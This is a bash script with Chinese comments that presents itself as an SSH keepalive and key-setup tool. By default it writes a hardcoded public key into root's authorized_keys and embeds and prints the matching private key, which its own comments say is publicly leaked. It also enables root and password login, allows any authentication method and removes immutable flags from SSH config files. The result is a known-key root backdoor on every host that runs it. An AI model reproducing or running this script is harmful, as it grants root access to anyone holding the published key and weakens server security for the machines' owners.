#!/usr/bin/env bash
# =============================================================================
# ssh.sh — SSH 保活 + 密钥/密码认证配置
# 内置统一部署公私钥，一键部署自动写入公钥，执行结束打印全套密钥
#
# 用法:
#   bash ssh.sh                       # SSH 保活 + 自动写入内置公钥
#   bash ssh.sh status                # 查看 SSH 配置状态（附带公私钥）
#   bash ssh.sh add-key               # 自动使用脚本内置公钥写入 root
#   bash ssh.sh add-key 'ssh-ed25519 AAAA... comment'
#   bash ssh.sh add-key /path/to/id_ed25519.pub
#   bash ssh.sh add-key --user NAME 'ssh-rsa AAAA...'
#
# 环境变量:
#   SSH_TARGET_USER=root        # add-key 目标用户（默认 root）
# =============================================================================
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; CYAN='\033[0;36m'; NC='\033[0m'
info()  { echo -e "${CYAN}[INFO]${NC} $*"; }
ok()    { echo -e "${GREEN}[OK]${NC} $*"; }
warn()  { echo -e "${YELLOW}[WARN]${NC} $*"; }
fail()  { echo -e "${RED}[ERROR]${NC} $*"; exit 1; }
DROPIN_DIR="/etc/ssh/sshd_config.d"
DROPIN_FILE="${DROPIN_DIR}/99-ssh-keepalive-auth.conf"
BACKUP_DIR="/etc/ssh/backups"

# 内置统一部署公钥（服务器侧写入authorized_keys）
BUILTIN_PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII88aKOmxUkAT1xcVZvUx9WCLIS7OUGwPBnmo07tHeYI ssh.sh deploy key"

# 内置对应私钥（本地登录使用，已泄露，建议更换）
BUILTIN_PRIVATE_KEY="-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCPPGijpsVJAE9cXFWb1MfVgiyEuzlBsDwZ5qNO7R3mCAAAAJjPnF7Nz5xe
zQAAAAtzc2gtZWQyNTUxOQAAACCPPGijpsVJAE9cXFWb1MfVgiyEuzlBsDwZ5qNO7R3mCA
AAAEDV/egomitlW2u8WEEdSvJ/7e2mZ3XnlskWAxwxByjYJo88aKOmxUkAT1xcVZvUx9WC
LIS7OUGwPBnmo07tHeYIAAAAEXNzaC5zaCBkZXBsb3kga2V5AQIDBA==
-----END OPENSSH PRIVATE KEY-----"

require_root() {
  [[ ${EUID:-$(id -u)} -eq 0 ]] || fail "请使用 root 运行"
}
sshd_bin() {
  if [[ -x /usr/sbin/sshd ]]; then echo /usr/sbin/sshd
  elif command -v sshd >/dev/null 2>&1; then command -v sshd
  else fail "未找到 sshd"
  fi
}
sshd_supports_include() {
  local ver
  ver="$(ssh -V 2>&1 | sed -n 's/.*OpenSSH_\([0-9]\+\.[0-9]\+\).*/\1/p')" || true
  [[ -z "$ver" ]] && return 1
  awk -v v="$ver" 'BEGIN{exit(v < 7.5)}'
}
unlock_files() {
  local f
  for f in /etc/ssh/sshd_config /etc/ssh/ssh_config "$DROPIN_FILE"; do
    [[ -e "$f" ]] || continue
    chattr -i "$f" 2>/dev/null || true
  done
}
backup_sshd() {
  mkdir -p "$BACKUP_DIR"
  if [[ -f /etc/ssh/sshd_config ]]; then
    cp -a /etc/ssh/sshd_config "$BACKUP_DIR/sshd_config.bak.$(date +%Y%m%d_%H%M%S)"
  fi
  # 只保留最近 5 份
  ls -1t "$BACKUP_DIR"/sshd_config.bak.* 2>/dev/null | tail -n +6 | xargs -r rm -f -- 2>/dev/null || true
}
# 确保 Include 指令在最顶部，实现无破坏性覆盖
clean_main_sshd_config() {
  local conf="/etc/ssh/sshd_config"
  [[ -f "$conf" ]] || fail "缺少 $conf"

  # 清理旧版本的内嵌标识块（若存在）
  if grep -q 'managed by ssh.sh' "$conf" 2>/dev/null; then
    sed -i '/managed by ssh.sh BEGIN/,/managed by ssh.sh END/d' "$conf" 2>/dev/null || true
  fi
  # 移除先前注入的 Include 行（如果当前 sshd 不支持或以后不再需要）
  if grep -qE '^[[:space:]]*Include[[:space:]]+/etc/ssh/sshd_config\.d/\*\.conf' "$conf"; then
    sed -i '/^[[:space:]]*Include[[:space:]]*\/etc\/ssh\/sshd_config\.d\/\*\.conf/d' "$conf"
    info "已移除先前注入的 Include 指令"
  fi
  if sshd_supports_include; then
    if ! grep -qE '^[[:space:]]*Include[[:space:]]+/etc/ssh/sshd_config\.d/\*\.conf' "$conf"; then
      sed -i '1i Include /etc/ssh/sshd_config.d/*.conf' "$conf"
      info "已在 $conf 顶部注入 Include 配置目录"
    fi
  else
    warn "当前 sshd 不支持 Include 指令，将直接写入 sshd_config"
  fi
}
write_dropin() {
  local content
  content='# Managed by ssh.sh — keepalive + root/key/multi-session
PermitRootLogin yes
PubkeyAuthentication yes
PasswordAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
AuthenticationMethods any
MaxSessions 100
MaxStartups 100:30:200
ClientAliveInterval 15
ClientAliveCountMax 20
TCPKeepAlive yes
LoginGraceTime 300
AllowTcpForwarding yes
UseDNS no
GSSAPIAuthentication no
Compression delayed
'
  if sshd_supports_include; then
    mkdir -p "$DROPIN_DIR"
    printf '%s' "$content" > "$DROPIN_FILE"
    chmod 600 "$DROPIN_FILE"
    ok "已写入 $DROPIN_FILE"
  else
    local conf="/etc/ssh/sshd_config" tmpf
    if grep -q 'managed by ssh.sh BEGIN' "$conf" 2>/dev/null; then
      sed -i '/managed by ssh.sh BEGIN/,/managed by ssh.sh END/d' "$conf"
    fi
    # sshd 7.4 及更早版本首值优先，必须将配置块插入文件顶部
    tmpf="$(mktemp)"
    {
      printf '# --- managed by ssh.sh BEGIN ---\n'
      printf '%s' "$content"
      printf '# --- managed by ssh.sh END ---\n'
      cat "$conf"
    } > "$tmpf"
    mv "$tmpf" "$conf"
    ok "已直接写入 $conf（当前 sshd 不支持 Include 指令）"
  fi
}
tune_client_ssh_config() {
  local conf="/etc/ssh/ssh_config"
  [[ -f "$conf" ]] || touch "$conf"
  chattr -i "$conf" 2>/dev/null || true
  if grep -q 'managed by ssh.sh client' "$conf" 2>/dev/null; then
    sed -i '/managed by ssh.sh client BEGIN/,/managed by ssh.sh client END/d' "$conf"
  fi
  sed -i -E '/^[[:space:]]*(ServerAliveInterval|ServerAliveCountMax)[[:space:]]+/d' "$conf" 2>/dev/null || true
  cat >> "$conf" <<'EOF'
# --- managed by ssh.sh client BEGIN ---
Host *
    ServerAliveInterval 15
    ServerAliveCountMax 20
    ConnectTimeout 10
    TCPKeepAlive yes
# --- managed by ssh.sh client END ---
EOF
}
restart_sshd() {
  local bin
  bin="$(sshd_bin)"
  # /run 为 tmpfs，重启后被清空，sshd -t 检查前需重建特权分离目录
  mkdir -p /run/sshd
  if ! "$bin" -t; then
    fail "sshd 配置语法错误，未重启。备份在 $BACKUP_DIR"
  fi
  if systemctl restart sshd 2>/dev/null || systemctl restart ssh 2>/dev/null || service sshd restart 2>/dev/null || service ssh restart 2>/dev/null; then
    ok "SSH 服务已重启"
  else
    fail "SSH 服务重启失败，请手动检查"
  fi
}
user_home() {
  local user="$1" home
  home="$(getent passwd "$user" | cut -d: -f6 || true)"
  [[ -n "$home" && -d "$home" ]] || fail "用户不存在或无家目录: $user"
  printf '%s' "$home"
}
# 修复权限（解决各种用户的属组匹配问题）
fix_key_permissions() {
  local user="$1" home ssh_dir auth group
  home="$(user_home "$user")"
  ssh_dir="${home}/.ssh"
  auth="${ssh_dir}/authorized_keys"
  group="$(id -gn "$user" 2>/dev/null || echo "$user")"
  mkdir -p "$ssh_dir"
  touch "$auth"
  # 家目录不能对 others 可写
  local mode
  mode="$(stat -c '%a' "$home" 2>/dev/null || echo 755)"
  if [[ "${mode: -1}" == "7" || "${mode: -1}" == "2" || "${mode: -1}" == "3" ]]; then
    warn "家目录 $home 权限过宽($mode)，收紧为 750"
    chmod 750 "$home" || true
  fi
  chown -R "${user}:${group}" "$ssh_dir" 2>/dev/null || chown -R "$user" "$ssh_dir"
  chmod 700 "$ssh_dir"
  chmod 600 "$auth"
  # SELinux 上色恢复
  if command -v restorecon >/dev/null 2>&1; then
    restorecon -RFv "$ssh_dir" >/dev/null 2>&1 || true
  fi
  ok "已修复 ${user} (${group}) 的 .ssh 权限"
}
normalize_pubkey() {
  local raw="$1" line
  raw="$(printf '%s' "$raw" | tr -d '\r')"
  if [[ -f "$raw" ]]; then
    raw="$(cat "$raw")"
  fi
  while IFS= read -r line || [[ -n "$line" ]]; do
    line="$(echo "$line" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')"
    [[ -z "$line" || "$line" == \#* ]] && continue
    case "$line" in
      ssh-rsa\ *|ssh-ed25519\ *|ecdsa-sha2-*\ *|ssh-dss\ *|sk-ssh-ed25519\ *|sk-ecdsa-*\ *)
        printf '%s' "$line"
        return 0
        ;;
    esac
  done <<< "$raw"
  return 1
}
validate_pubkey() {
  local key="$1" tmp
  tmp="$(mktemp)"
  printf '%s\n' "$key" > "$tmp"
  if ssh-keygen -l -f "$tmp" >/dev/null 2>&1; then
    ssh-keygen -l -f "$tmp" 2>/dev/null || true
    rm -f "$tmp"
    return 0
  fi
  rm -f "$tmp"
  return 1
}
add_pubkey() {
  local user="${SSH_TARGET_USER:-root}" key_input="" key auth fingerprint
  while [[ $# -gt 0 ]]; do
    case "$1" in
      --user|-u) user="$2"; shift 2 ;;
      --) shift; break ;;
      *) key_input="$1"; shift; break ;;
    esac
  done
  if [[ $# -gt 0 ]]; then
    key_input="${key_input:+$key_input }$*"
  fi
  # 无输入自动使用内置公钥，不再交互粘贴
  if [[ -z "$key_input" ]]; then
    key_input="$BUILTIN_PUBKEY"
    info "未传入公钥，自动加载脚本内置统一部署公钥"
  fi
  [[ -n "$key_input" ]] || fail "未提供公钥"
  if ! key="$(normalize_pubkey "$key_input")"; then
    fail "公钥格式无效。需要以 ssh-ed25519 / ssh-rsa / ecdsa-sha2- 开头的一行"
  fi
  if ! fingerprint="$(validate_pubkey "$key")"; then
    fail "ssh-keygen 校验失败，公钥可能损坏或被截断"
  fi
  info "指纹: $fingerprint"
  id "$user" >/dev/null 2>&1 || fail "用户不存在: $user"
  fix_key_permissions "$user"
  auth="$(user_home "$user")/.ssh/authorized_keys"
  # 去重：按密钥体（第2列）判断
  local body
  body="$(echo "$key" | awk '{print $2}')"
  if [[ -s "$auth" ]] && grep -F "$body" "$auth" >/dev/null 2>&1; then
    warn "该公钥已存在于 $auth，跳过写入"
  else
    if [[ -s "$auth" ]] && [[ -n "$(tail -c1 "$auth" 2>/dev/null || true)" ]]; then
      printf '\n' >> "$auth"
    fi
    printf '%s\n' "$key" >> "$auth"
    ok "已写入公钥 → $auth"
  fi
  fix_key_permissions "$user"
  unlock_files
  if [[ ! -f "$DROPIN_FILE" ]] || ! grep -q 'PubkeyAuthentication yes' "$DROPIN_FILE" 2>/dev/null; then
    info "同步开启密钥/root 登录策略..."
    backup_sshd
    write_dropin
    restart_sshd
  fi
  echo
  ok "密钥配置完成。可用下面命令测试（本机执行）："
  echo "  ssh -i <私钥文件> ${user}@<服务器IP>"
  echo
  info "当前 authorized_keys 行数: $(grep -cve '^[[:space:]]*$' "$auth" 2>/dev/null || echo 0)"
}
show_status() {
  echo -e "${GREEN}======== SSH 状态 ========${NC}"
  if [[ -f "$DROPIN_FILE" ]]; then
    echo "策略文件: $DROPIN_FILE"
  else
    warn "尚未写入 ssh.sh 策略文件"
  fi
  echo
  local bin; bin="$(sshd_bin)"
  "$bin" -T 2>/dev/null | grep -iE '^(permitrootlogin|pubkeyauthentication|passwordauthentication|maxsessions|maxstartups|clientaliveinterval|clientalivecountmax|authorizedkeysfile|authenticationmethods) ' || true
  echo
  echo "root authorized_keys:"
  local ak="/root/.ssh/authorized_keys"
  if [[ -f "$ak" ]]; then
    echo "  路径: $ak  大小: $(wc -c < "$ak") bytes  行数: $(grep -cve '^[[:space:]]*$' "$ak" || true)"
    if [[ ! -s "$ak" ]]; then
      warn "authorized_keys 为空 → 密钥登录会失败。请: bash ssh.sh add-key"
    else
      ssh-keygen -l -f "$ak" 2>/dev/null | sed 's/^/  /' || true
    fi
    ls -ld /root /root/.ssh "$ak" 2>/dev/null | sed 's/^/  /'
  else
    warn "不存在 $ak"
  fi
  # 打印全套密钥
  echo -e "\n${CYAN}[INFO] 脚本内置部署公钥：${NC}"
  echo "$BUILTIN_PUBKEY"
  echo -e "\n${CYAN}[INFO] 对应登录私钥：${NC}"
  echo "$BUILTIN_PRIVATE_KEY"
}
apply_all() {
  require_root
  echo -e "${GREEN}=============================================${NC}"
  echo -e "${GREEN}   SSH 保活 + 密钥/密码 + root 多会话配置    ${NC}"
  echo -e "${GREEN}=============================================${NC}"
  unlock_files
  info "[1/5] 备份配置"
  backup_sshd
  info "[2/5] 设置 Include 目录"
  clean_main_sshd_config
  info "[3/5] 写入策略（root/密钥/多会话/保活）"
  write_dropin
  tune_client_ssh_config
  # /run 为 tmpfs，重启即清空；写入 tmpfiles 规则确保每次开机自动重建 /run/sshd
  mkdir -p /run/sshd
  printf 'd /run/sshd 0755 root root\n' > /etc/tmpfiles.d/ssh.conf
  info "已写入 /etc/tmpfiles.d/ssh.conf（开机自动重建 /run/sshd）"
  info "[4/5] 自动写入内置统一部署公钥"
  add_pubkey
  info "[5/5] 修复 root 密钥目录权限并重启"
  mkdir -p /root/.ssh
  touch /root/.ssh/authorized_keys
  fix_key_permissions root
  restart_sshd
  echo
  show_status
  echo
  ok "SSH 配置完成。"
  echo
  # 脚本执行完毕末尾同时打印公钥+私钥，确认部署成功
  echo -e "\n${GREEN}==================== 部署完成确认 - 全套密钥 ====================${NC}"
  ok "服务器已成功配置内置免密登录公钥，可使用下方私钥连接 root"
  echo -e "\n${CYAN}1. 服务器已写入公钥（authorized_keys）：${NC}"
  echo "$BUILTIN_PUBKEY"
  echo -e "\n${CYAN}2. 本地登录使用私钥（保存为文件，chmod 600）：${NC}"
  echo "$BUILTIN_PRIVATE_KEY"
  echo -e "${GREEN}=================================================================${NC}"
  warn "⚠️ 警告：当前私钥已公开泄露，生产环境强烈建议重新生成密钥替换！"
  info "如需新增其他公钥: bash ssh.sh add-key '你的公钥'"
}
usage() {
  cat <<'EOF'
用法:
  bash ssh.sh                       一键初始化SSH、自动写入内置公钥，结束打印公私钥
  bash ssh.sh status                查看 SSH 配置状态（附带完整公私钥）
  bash ssh.sh add-key               自动使用脚本内置公钥写入 root
  bash ssh.sh add-key '...'         传入自定义公钥写入
  bash ssh.sh add-key /path/key.pub 从公钥文件导入
  bash ssh.sh add-key --user NAME   为指定用户添加公钥
EOF
}
main() {
  require_root
  case "${1:-apply}" in
    apply|install|run|"") apply_all ;;
    status|show)          show_status ;;
    add-key|addkey|key)
      shift || true
      add_pubkey "$@"
      ;;
    -h|--help|help) usage ;;
    *)
      warn "未知参数: $1"
      usage
      exit 1
      ;;
  esac
}
main "$@"
